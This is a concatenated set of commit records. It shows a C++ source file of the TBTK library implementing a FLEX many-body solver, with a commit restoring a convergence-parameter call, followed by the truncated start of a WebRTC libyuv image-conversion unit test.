matsubaraSusceptibilitySolver(\n\t\tmomentumSpaceContext,\n\t\tgreensFunction\n\t);\n\tmatsubaraSusceptibilitySolver.setVerbose(false);\n\tmatsubaraSusceptibilitySolver.setModel(getModel());\n\n\tPropertyExtractor::MatsubaraSusceptibility\n\t\tmatsubaraSusceptibilityPropertyExtractor(\n\t\t\tmatsubaraSusceptibilitySolver\n\t\t);\n\tmatsubaraSusceptibilityPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tbareSusceptibility\n\t\t= matsubaraSusceptibilityPropertyExtractor.calculateSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateRPASusceptibilities(){\n\tRPASusceptibility rpaSusceptibilitySolver(\n\t\tmomentumSpaceContext,\n\t\tbareSusceptibility\n\t);\n\trpaSusceptibilitySolver.setVerbose(false);\n\trpaSusceptibilitySolver.setModel(getModel());\n\trpaSusceptibilitySolver.setU(U);\n\trpaSusceptibilitySolver.setJ(J);\n\trpaSusceptibilitySolver.setUp(U - 2.*J);\n\trpaSusceptibilitySolver.setJp(J);\n\n\tPropertyExtractor::RPASusceptibility\n\t\trpaSusceptibilityPropertyExtractor(\n\t\t\trpaSusceptibilitySolver\n\t\t);\n\trpaChargeSusceptibility\n\t\t= rpaSusceptibilityPropertyExtractor.calculateChargeSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n\trpaSpinSusceptibility\n\t\t= rpaSusceptibilityPropertyExtractor.calculateSpinSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateInteractionVertex(){\n\tElectronFluctuationVertex\n\t\telectronFluctuationVertexSolver(\n\t\t\tmomentumSpaceContext,\n\t\t\trpaChargeSusceptibility,\n\t\t\trpaSpinSusceptibility\n\t\t);\n\telectronFluctuationVertexSolver.setVerbose(false);\n\telectronFluctuationVertexSolver.setModel(getModel());\n\telectronFluctuationVertexSolver.setU(U);\n\telectronFluctuationVertexSolver.setJ(J);\n\telectronFluctuationVertexSolver.setUp(U - 2.*J);\n\telectronFluctuationVertexSolver.setJp(J);\n\n\tPropertyExtractor::ElectronFluctuationVertex\n\t\telectronFluctuationVertexPropertyExtractor(\n\t\t\telectronFluctuationVertexSolver\n\t\t);\n\tinteractionVertex\n\t\t= electronFluctuationVertexPropertyExtractor.calculateInteractionVertex({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateSelfEnergy(){\n\tSelfEnergy2 selfEnergySolver(\n\t\tmomentumSpaceContext,\n\t\tinteractionVertex,\n\t\tgreensFunction\n\t);\n\tselfEnergySolver.setVerbose(false);\n\tselfEnergySolver.setModel(getModel());\n\n\t\tPropertyExtractor::SelfEnergy2 selfEnergyPropertyExtractor(\n\t\tselfEnergySolver\n\t);\n\tselfEnergyPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tselfEnergy = selfEnergyPropertyExtractor.calculateSelfEnergy({\n\t\t{{IDX_ALL, IDX_ALL}, {IDX_ALL}, {IDX_ALL}}\n\t});\n\tconvertSelfEnergyIndexStructure();\n}\n\nvoid FLEX::calculateGreensFunction(){\n\tGreens greensSolver;\n\tgreensSolver.setVerbose(false);\n\tgreensSolver.setModel(getModel());\n\tgreensSolver.setGreensFunction(greensFunction0);\n\tgreensFunction = greensSolver.calculateInteractingGreensFunction(\n\t\tselfEnergy\n\t);\n}\n\nvoid FLEX::convertSelfEnergyIndexStructure(){\n\tconst vector<unsigned int> &numMeshPoints\n\t\t= momentumSpaceContext.getNumMeshPoints();\n\tTBTKAssert(\n\t\tnumMeshPoints.size() == 2,\n\t\t\"Solver::FLEX::convertSelfEnergyBlockStructure()\",\n\t\t\"Only two-dimensional block indices supported yet, but the\"\n\t\t<< \" MomentumSpaceContext has a '\" << numMeshPoints.size()\n\t\t<< \"'-dimensional block structure.\",\n\t\t\"\"\n\t);\n\tunsigned int numOrbitals = momentumSpaceContext.getNumOrbitals();\n\n\tIndexTree memoryLayout;\n\tfor(unsigned int kx = 0; kx < numMeshPoints[0]; kx++){\n\t\tfor(unsigned int ky = 0; ky < numMeshPoints[1]; ky++){\n\t\t\tfor(\n\t\t\t\tunsigned int orbital0 = 0;\n\t\t\t\torbital0 < numOrbitals;\n\t\t\t\torbital0++\n\t\t\t){\n\t\t\t\tfor(\n\t\t\t\t\tunsigned int orbital1 = 0;\n\t\t\t\t\torbital1 < numOrbitals;\n\t\t\t\t\torbital1++\n\t\t\t\t){\n\t\t\t\t\tmemoryLayout.add({\n\t\t\t\t\t\t{(int)kx, (int)ky, (int)orbital0},\n\t\t\t\t\t\t{(int)kx, (int)ky, (int)orbital1}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tmemoryLayout.generateLinearMap();\n\tProperty::SelfEnergy newSelfEnergy(\n\t\tmemoryLayout,\n\t\tselfEnergy.getLowerMatsubaraEnergyIndex(),\n\t\tselfEnergy.getUpperMatsubaraEnergyIndex(),\n\t\tselfEnergy.getFundamentalMatsubaraEnergy()\n\t);\n\tfor(unsigned int kx = 0; kx < numMeshPoints[0]; kx++){\n\t\tfor(unsigned int ky = 0; ky < numMeshPoints[1]; ky++){\n\t\t\tfor(\n\t\t\t\tunsigned int orbital0 = 0;\n\t\t\t\torbital0 < numOrbitals;\n\t\t\t\torbital0++\n\t\t\t){\n\t\t\t\tfor(\n\t\t\t\t\tunsigned int orbital1 = 0;\n\t\t\t\t\torbital1 < numOrbitals;\n\t\t\t\t\torbital1++\n\t\t\t\t){\n\t\t\t\t\tfor(\n\t\t\t\t\t\tunsigned int n = 0;\n\t\t\t\t\t\tn < selfEnergy.getNumMatsubaraEnergies();\n\t\t\t\t\t\tn++\n\t\t\t\t\t){\n\t\t\t\t\t\tnewSelfEnergy(\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky,\n\t\t\t\t\t\t\t\t\t(int)orbital0\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky,\n\t\t\t\t\t\t\t\t\t(int)orbital1\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tn\n\t\t\t\t\t\t) = selfEnergy(\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{(int)orbital0},\n\t\t\t\t\t\t\t\t{(int)orbital1}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tn\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tselfEnergy = newSelfEnergy;\n}\n\nvoid FLEX::calculateConvergenceParameter(){\n\tconst vector<complex<double>> &oldData = oldGreensFunction.getData();\n\tconst vector<complex<double>> &newData = greensFunction.getData();\n\n\tTBTKAssert(\n\t\toldData.size() == newData.size(),\n\t\t\"Solver::FLEX::calculateConvergenceParameter()\",\n\t\t\"Incompatible Green's function data sizes.\",\n\t\t\"This should never happen, contact the developer.\"\n\t);\n\n\tswitch(norm){\n\tcase Norm::Max:\n\t{\n\t\tdouble oldMax = 0;\n\t\tdouble differenceMax = 0;\n\t\tfor(unsigned int n = 0; n < oldData.size(); n++){\n\t\t\tif(abs(oldData[n]) > oldMax)\n\t\t\t\toldMax = abs(oldData[n]);\n\t\t\tif(abs(oldData[n] - newData[n]) > differenceMax)\n\t\t\t\tdifferenceMax = abs(oldData[n] - newData[n]);\n\t\t}\n\n\t\tconvergenceParameter = differenceMax\/oldMax;\n\n\t\tbreak;\n\t}\n\tcase Norm::L2:\n\t{\n\t\tdouble oldL2 = 0;\n\t\tdouble differenceL2 = 0;\n\t\tfor(unsigned int n = 0; n < oldData.size(); n++){\n\t\t\toldL2 += pow(abs(oldData[n]), 2);\n\t\t\tdifferenceL2 += pow(abs(oldData[n] - newData[n]), 2);\n\t\t}\n\n\t\tconvergenceParameter = differenceL2\/oldL2;\n\n\t\tbreak;\n\t}\n\tdefault:\n\t\tTBTKExit(\n\t\t\t\"Solver::FLEX::calculateConvergenceParameter()\",\n\t\t\t\"Unknown norm.\",\n\t\t\t\"This should never happen, contact the developer.\"\n\t\t);\n\t}\n}\n\n}\t\/\/End of namespace Solver\n}\t\/\/End of namesapce TBTK\n<commit_msg>Reinserted function call for calculating the convergence parameter that was accidentally removed in previous commit.<commit_after>\/* Copyright 2018 Kristofer Björnson\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/** @file FLEX.cpp\n *\n * @author Kristofer Björnson\n *\/\n\n#include \"TBTK\/PropertyExtractor\/BlockDiagonalizer.h\"\n#include \"TBTK\/PropertyExtractor\/ElectronFluctuationVertex.h\"\n#include \"TBTK\/PropertyExtractor\/MatsubaraSusceptibility.h\"\n#include \"TBTK\/PropertyExtractor\/RPASusceptibility.h\"\n#include \"TBTK\/PropertyExtractor\/SelfEnergy2.h\"\n#include \"TBTK\/Solver\/BlockDiagonalizer.h\"\n#include \"TBTK\/Solver\/ElectronFluctuationVertex.h\"\n#include \"TBTK\/Solver\/Greens.h\"\n#include \"TBTK\/Solver\/MatsubaraSusceptibility.h\"\n#include \"TBTK\/Solver\/RPASusceptibility.h\"\n#include \"TBTK\/Solver\/SelfEnergy2.h\"\n#include \"TBTK\/Solver\/FLEX.h\"\n\n#include <complex>\n\nusing namespace std;\n\nnamespace TBTK{\nnamespace Solver{\n\nFLEX::FLEX(const MomentumSpaceContext &momentumSpaceContext) :\n\tmomentumSpaceContext(momentumSpaceContext)\n{\n\tlowerFermionicMatsubaraEnergyIndex = -1;\n\tupperFermionicMatsubaraEnergyIndex = 1;\n\tlowerBosonicMatsubaraEnergyIndex = 0;\n\tupperBosonicMatsubaraEnergyIndex = 0;\n\n\tU = 0;\n\tJ = 0;\n\n\tstate = State::NotYetStarted;\n\tmaxIterations = 1;\n\tcallback = nullptr;\n\n\tnorm = Norm::Max;\n\tconvergenceParameter = 0;\n}\n\nvoid FLEX::run(){\n\t\/\/Calculate the non-interacting Green's function.\n\tTimer::tick(\"Green's function 0\");\n\tcalculateBareGreensFunction();\n\tgreensFunction = greensFunction0;\n\tTimer::tock();\n\n\tstate = State::GreensFunctionCalculated;\n\tif(callback != nullptr)\n\t\tcallback(*this);\n\n\t\/\/The main loop.\n\tunsigned int iteration = 0;\n\twhile(iteration++ < maxIterations){\n\t\t\/\/Calculate the bare susceptibility.\n\t\tcalculateBareSusceptibility();\n\t\tstate = State::BareSusceptibilityCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the RPA charge and spin susceptibilities.\n\t\tcalculateRPASusceptibilities();\n\t\tstate = State::RPASusceptibilitiesCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the interaction vertex.\n\t\tcalculateInteractionVertex();\n\t\tstate = State::InteractionVertexCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the self-energy.\n\t\tcalculateSelfEnergy();\n\t\tstate = State::SelfEnergyCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the self energy.\n\t\toldGreensFunction = greensFunction;\n\t\tcalculateGreensFunction();\n\t\tstate = State::GreensFunctionCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\tcalculateConvergenceParameter();\n\t\tif(convergenceParameter < tolerance)\n\t\t\tbreak;\n\t}\n}\n\nvoid FLEX::calculateBareGreensFunction(){\n\tconst vector<unsigned int> &numMeshPoints\n\t\t= momentumSpaceContext.getNumMeshPoints();\n\tTBTKAssert(\n\t\tnumMeshPoints.size() == 2,\n\t\t\"Solver::FLEX::run()\",\n\t\t\"Only two-dimensional block indices supported yet, but the\"\n\t\t<< \" MomentumSpaceContext has a '\" << numMeshPoints.size()\n\t\t<< \"'-dimensional block structure.\",\n\t\t\"\"\n\t);\n\n\tBlockDiagonalizer blockDiagonalizer;\n\tblockDiagonalizer.setVerbose(false);\n\tblockDiagonalizer.setModel(getModel());\n\tblockDiagonalizer.run();\n\n\tvector<Index> greensFunctionPatterns;\n\tfor(int kx = 0; kx < (int)numMeshPoints[0]; kx++){\n\t\tfor(int ky = 0; ky < (int)numMeshPoints[1]; ky++){\n\t\t\tgreensFunctionPatterns.push_back(\n\t\t\t\t{{kx, ky, IDX_ALL}, {kx, ky, IDX_ALL}}\n\t\t\t);\n\t\t}\n\t}\n\n\tPropertyExtractor::BlockDiagonalizer\n\t\tblockDiagonalizerPropertyExtractor(blockDiagonalizer);\n\tblockDiagonalizerPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tgreensFunction0\n\t\t= blockDiagonalizerPropertyExtractor.calculateGreensFunction(\n\t\t\tgreensFunctionPatterns,\n\t\t\tProperty::GreensFunction::Type::Matsubara\n\t\t);\n}\n\nvoid FLEX::calculateBareSusceptibility(){\n\tMatsubaraSusceptibility matsubaraSusceptibilitySolver(\n\t\tmomentumSpaceContext,\n\t\tgreensFunction\n\t);\n\tmatsubaraSusceptibilitySolver.setVerbose(false);\n\tmatsubaraSusceptibilitySolver.setModel(getModel());\n\n\tPropertyExtractor::MatsubaraSusceptibility\n\t\tmatsubaraSusceptibilityPropertyExtractor(\n\t\t\tmatsubaraSusceptibilitySolver\n\t\t);\n\tmatsubaraSusceptibilityPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tbareSusceptibility\n\t\t= matsubaraSusceptibilityPropertyExtractor.calculateSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateRPASusceptibilities(){\n\tRPASusceptibility rpaSusceptibilitySolver(\n\t\tmomentumSpaceContext,\n\t\tbareSusceptibility\n\t);\n\trpaSusceptibilitySolver.setVerbose(false);\n\trpaSusceptibilitySolver.setModel(getModel());\n\trpaSusceptibilitySolver.setU(U);\n\trpaSusceptibilitySolver.setJ(J);\n\trpaSusceptibilitySolver.setUp(U - 2.*J);\n\trpaSusceptibilitySolver.setJp(J);\n\n\tPropertyExtractor::RPASusceptibility\n\t\trpaSusceptibilityPropertyExtractor(\n\t\t\trpaSusceptibilitySolver\n\t\t);\n\trpaChargeSusceptibility\n\t\t= rpaSusceptibilityPropertyExtractor.calculateChargeSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n\trpaSpinSusceptibility\n\t\t= rpaSusceptibilityPropertyExtractor.calculateSpinSusceptibility({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateInteractionVertex(){\n\tElectronFluctuationVertex\n\t\telectronFluctuationVertexSolver(\n\t\t\tmomentumSpaceContext,\n\t\t\trpaChargeSusceptibility,\n\t\t\trpaSpinSusceptibility\n\t\t);\n\telectronFluctuationVertexSolver.setVerbose(false);\n\telectronFluctuationVertexSolver.setModel(getModel());\n\telectronFluctuationVertexSolver.setU(U);\n\telectronFluctuationVertexSolver.setJ(J);\n\telectronFluctuationVertexSolver.setUp(U - 2.*J);\n\telectronFluctuationVertexSolver.setJp(J);\n\n\tPropertyExtractor::ElectronFluctuationVertex\n\t\telectronFluctuationVertexPropertyExtractor(\n\t\t\telectronFluctuationVertexSolver\n\t\t);\n\tinteractionVertex\n\t\t= electronFluctuationVertexPropertyExtractor.calculateInteractionVertex({\n\t\t\t{\n\t\t\t\t{IDX_ALL, IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL},\n\t\t\t\t{IDX_ALL}\n\t\t\t}\n\t\t});\n}\n\nvoid FLEX::calculateSelfEnergy(){\n\tSelfEnergy2 selfEnergySolver(\n\t\tmomentumSpaceContext,\n\t\tinteractionVertex,\n\t\tgreensFunction\n\t);\n\tselfEnergySolver.setVerbose(false);\n\tselfEnergySolver.setModel(getModel());\n\n\t\tPropertyExtractor::SelfEnergy2 selfEnergyPropertyExtractor(\n\t\tselfEnergySolver\n\t);\n\tselfEnergyPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tselfEnergy = selfEnergyPropertyExtractor.calculateSelfEnergy({\n\t\t{{IDX_ALL, IDX_ALL}, {IDX_ALL}, {IDX_ALL}}\n\t});\n\tconvertSelfEnergyIndexStructure();\n}\n\nvoid FLEX::calculateGreensFunction(){\n\tGreens greensSolver;\n\tgreensSolver.setVerbose(false);\n\tgreensSolver.setModel(getModel());\n\tgreensSolver.setGreensFunction(greensFunction0);\n\tgreensFunction = greensSolver.calculateInteractingGreensFunction(\n\t\tselfEnergy\n\t);\n}\n\nvoid FLEX::convertSelfEnergyIndexStructure(){\n\tconst vector<unsigned int> &numMeshPoints\n\t\t= momentumSpaceContext.getNumMeshPoints();\n\tTBTKAssert(\n\t\tnumMeshPoints.size() == 2,\n\t\t\"Solver::FLEX::convertSelfEnergyBlockStructure()\",\n\t\t\"Only two-dimensional block indices supported yet, but the\"\n\t\t<< \" MomentumSpaceContext has a '\" << numMeshPoints.size()\n\t\t<< \"'-dimensional block structure.\",\n\t\t\"\"\n\t);\n\tunsigned int numOrbitals = momentumSpaceContext.getNumOrbitals();\n\n\tIndexTree memoryLayout;\n\tfor(unsigned int kx = 0; kx < numMeshPoints[0]; kx++){\n\t\tfor(unsigned int ky = 0; ky < numMeshPoints[1]; ky++){\n\t\t\tfor(\n\t\t\t\tunsigned int orbital0 = 0;\n\t\t\t\torbital0 < numOrbitals;\n\t\t\t\torbital0++\n\t\t\t){\n\t\t\t\tfor(\n\t\t\t\t\tunsigned int orbital1 = 0;\n\t\t\t\t\torbital1 < numOrbitals;\n\t\t\t\t\torbital1++\n\t\t\t\t){\n\t\t\t\t\tmemoryLayout.add({\n\t\t\t\t\t\t{(int)kx, (int)ky, (int)orbital0},\n\t\t\t\t\t\t{(int)kx, (int)ky, (int)orbital1}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tmemoryLayout.generateLinearMap();\n\tProperty::SelfEnergy newSelfEnergy(\n\t\tmemoryLayout,\n\t\tselfEnergy.getLowerMatsubaraEnergyIndex(),\n\t\tselfEnergy.getUpperMatsubaraEnergyIndex(),\n\t\tselfEnergy.getFundamentalMatsubaraEnergy()\n\t);\n\tfor(unsigned int kx = 0; kx < numMeshPoints[0]; kx++){\n\t\tfor(unsigned int ky = 0; ky < numMeshPoints[1]; ky++){\n\t\t\tfor(\n\t\t\t\tunsigned int orbital0 = 0;\n\t\t\t\torbital0 < numOrbitals;\n\t\t\t\torbital0++\n\t\t\t){\n\t\t\t\tfor(\n\t\t\t\t\tunsigned int orbital1 = 0;\n\t\t\t\t\torbital1 < numOrbitals;\n\t\t\t\t\torbital1++\n\t\t\t\t){\n\t\t\t\t\tfor(\n\t\t\t\t\t\tunsigned int n = 0;\n\t\t\t\t\t\tn < selfEnergy.getNumMatsubaraEnergies();\n\t\t\t\t\t\tn++\n\t\t\t\t\t){\n\t\t\t\t\t\tnewSelfEnergy(\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky,\n\t\t\t\t\t\t\t\t\t(int)orbital0\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky,\n\t\t\t\t\t\t\t\t\t(int)orbital1\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tn\n\t\t\t\t\t\t) = selfEnergy(\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t(int)kx,\n\t\t\t\t\t\t\t\t\t(int)ky\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{(int)orbital0},\n\t\t\t\t\t\t\t\t{(int)orbital1}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tn\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tselfEnergy = newSelfEnergy;\n}\n\nvoid FLEX::calculateConvergenceParameter(){\n\tconst vector<complex<double>> &oldData = oldGreensFunction.getData();\n\tconst vector<complex<double>> &newData = greensFunction.getData();\n\n\tTBTKAssert(\n\t\toldData.size() == newData.size(),\n\t\t\"Solver::FLEX::calculateConvergenceParameter()\",\n\t\t\"Incompatible Green's function data sizes.\",\n\t\t\"This should never happen, contact the developer.\"\n\t);\n\n\tswitch(norm){\n\tcase Norm::Max:\n\t{\n\t\tdouble oldMax = 0;\n\t\tdouble differenceMax = 0;\n\t\tfor(unsigned int n = 0; n < oldData.size(); n++){\n\t\t\tif(abs(oldData[n]) > oldMax)\n\t\t\t\toldMax = abs(oldData[n]);\n\t\t\tif(abs(oldData[n] - newData[n]) > differenceMax)\n\t\t\t\tdifferenceMax = abs(oldData[n] - newData[n]);\n\t\t}\n\n\t\tconvergenceParameter = differenceMax\/oldMax;\n\n\t\tbreak;\n\t}\n\tcase Norm::L2:\n\t{\n\t\tdouble oldL2 = 0;\n\t\tdouble differenceL2 = 0;\n\t\tfor(unsigned int n = 0; n < oldData.size(); n++){\n\t\t\toldL2 += pow(abs(oldData[n]), 2);\n\t\t\tdifferenceL2 += pow(abs(oldData[n] - newData[n]), 2);\n\t\t}\n\n\t\tconvergenceParameter = differenceL2\/oldL2;\n\n\t\tbreak;\n\t}\n\tdefault:\n\t\tTBTKExit(\n\t\t\t\"Solver::FLEX::calculateConvergenceParameter()\",\n\t\t\t\"Unknown norm.\",\n\t\t\t\"This should never happen, contact the developer.\"\n\t\t);\n\t}\n}\n\n}\t\/\/End of namespace Solver\n}\t\/\/End of namesapce TBTK\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <math.h>\n#include <string.h>\n\n#include \"common_video\/libyuv\/include\/libyuv.h\"\n#include \"gtest\/gtest.h\"\n#include \"system_wrappers\/interface\/tick_util.h\"\n#include \"testsupport\/fileutils.h\"\n\nnamespace webrtc {\n\nint PrintFrame(const uint8_t* frame, int width, int height) {\n if (frame == NULL)\n return -1;\n int k = 0;\n for (int i = 0; i < height; i++) {\n for (int j = 0; j < width; j++) {\n printf(\"%d \", frame[k++]);\n }\n printf(\" \\n\");\n }\n printf(\" \\n\");\n return 0;\n}\n\nint PrintFrame(const uint8_t* frame, int width,\n int height, const char* str) {\n if (frame == NULL)\n return -1;\n printf(\"%s %dx%d \\n\", str, width, height);\n\n const uint8_t* frame_y = frame;\n const uint8_t* frame_u = frame_y + width * height;\n const uint8_t* frame_v = frame_u + width * height \/ 4;\n\n int ret = 0;\n ret += PrintFrame(frame_y, width, height);\n ret += PrintFrame(frame_u, width \/ 2, height \/ 2);\n ret += PrintFrame(frame_v, width \/ 2, height \/ 2);\n\n return ret;\n}\n\nvoid CreateImage(int width, int height,\n uint8_t* frame, int offset,\n int height_factor, int width_factor) {\n if (frame == NULL)\n return;\n for (int i = 0; i < height; i++) {\n for (int j = 0; j < width; j++) {\n *frame = static_cast<uint8_t>((i + offset) * height_factor\n + j * width_factor);\n frame++;\n }\n }\n}\n\nclass TestLibYuv : public ::testing::Test {\n protected:\n TestLibYuv();\n virtual void SetUp();\n virtual void TearDown();\n\n FILE* source_file_;\n const int width_;\n const int height_;\n const int frame_length_;\n};\n\n\/\/ TODO (mikhal): Use scoped_ptr when handling buffers.\nTestLibYuv::TestLibYuv()\n : source_file_(NULL),\n width_(352),\n height_(288),\n frame_length_(CalcBufferSize(kI420, 352, 288)) {\n}\n\nvoid TestLibYuv::SetUp() {\n const std::string input_file_name = webrtc::test::ProjectRootPath() +\n \"resources\/foreman_cif.yuv\";\n source_file_ = fopen(input_file_name.c_str(), \"rb\");\n ASSERT_TRUE(source_file_ != NULL) << \"Cannot read file: \"<<\n input_file_name << \"\\n\";\n}\n\nvoid TestLibYuv::TearDown() {\n if (source_file_ != NULL) {\n ASSERT_EQ(0, fclose(source_file_));\n }\n source_file_ = NULL;\n}\n\nTEST_F(TestLibYuv, ConvertSanityTest) {\n \/\/ TODO(mikhal)\n}\n\nTEST_F(TestLibYuv, ConvertTest) {\n \/\/ Reading YUV frame - testing on the first frame of the foreman sequence\n int j = 0;\n std::string output_file_name = webrtc::test::OutputPath() +\n \"LibYuvTest_conversion.yuv\";\n FILE* output_file = fopen(output_file_name.c_str(), \"wb\");\n ASSERT_TRUE(output_file != NULL);\n\n double psnr = 0;\n\n uint8_t* orig_buffer = new uint8_t[frame_length_];\n EXPECT_GT(fread(orig_buffer, 1, frame_length_, source_file_), 0U);\n\n \/\/ printf(\"\\nConvert #%d I420 <-> RGB24\\n\", j);\n uint8_t* res_rgb_buffer2 = new uint8_t[width_ * height_ * 3];\n uint8_t* res_i420_buffer = new uint8_t[frame_length_];\n\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_, kRGB24, 0,\n width_, height_, res_rgb_buffer2));\n\n EXPECT_EQ(0, ConvertToI420(kRGB24, res_rgb_buffer2, 0, 0, width_, height_,\n 0, width_, height_, width_, kRotateNone,\n res_i420_buffer));\n\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n \/\/ Optimization Speed- quality trade-off => 45 dB only (platform dependant).\n EXPECT_GT(ceil(psnr), 44);\n j++;\n delete [] res_rgb_buffer2;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> UYVY\\n\", j);\n uint8_t* out_uyvy_buffer = new uint8_t[width_ * height_ * 2];\n EXPECT_EQ(0, ConvertFromI420(orig_buffer, width_,\n kUYVY, 0, width_, height_, out_uyvy_buffer));\n EXPECT_EQ(0, ConvertToI420(kUYVY, out_uyvy_buffer, 0, 0, width_, height_,\n 0, width_, height_, width_,kRotateNone, res_i420_buffer));\n psnr = I420PSNR(orig_buffer, res_i420_buffer, width_, height_);\n EXPECT_EQ(48.0, psnr);\n fwrite(res_i420_buffer, frame_length_, 1, output_file);\n\n j++;\n delete [] out_uyvy_buffer;\n\n \/\/ printf(\"\\nConvert #%d I420 <-> I420 \\n\", j);\n uint8_t* out_i420_buffer = new uint8_t[width_ * height_ * 3 \/ 2 ];\n EXPECT_EQ(0, ConvertToI420(kI420, orig_buffer, 0, 0, width_, height_,\n 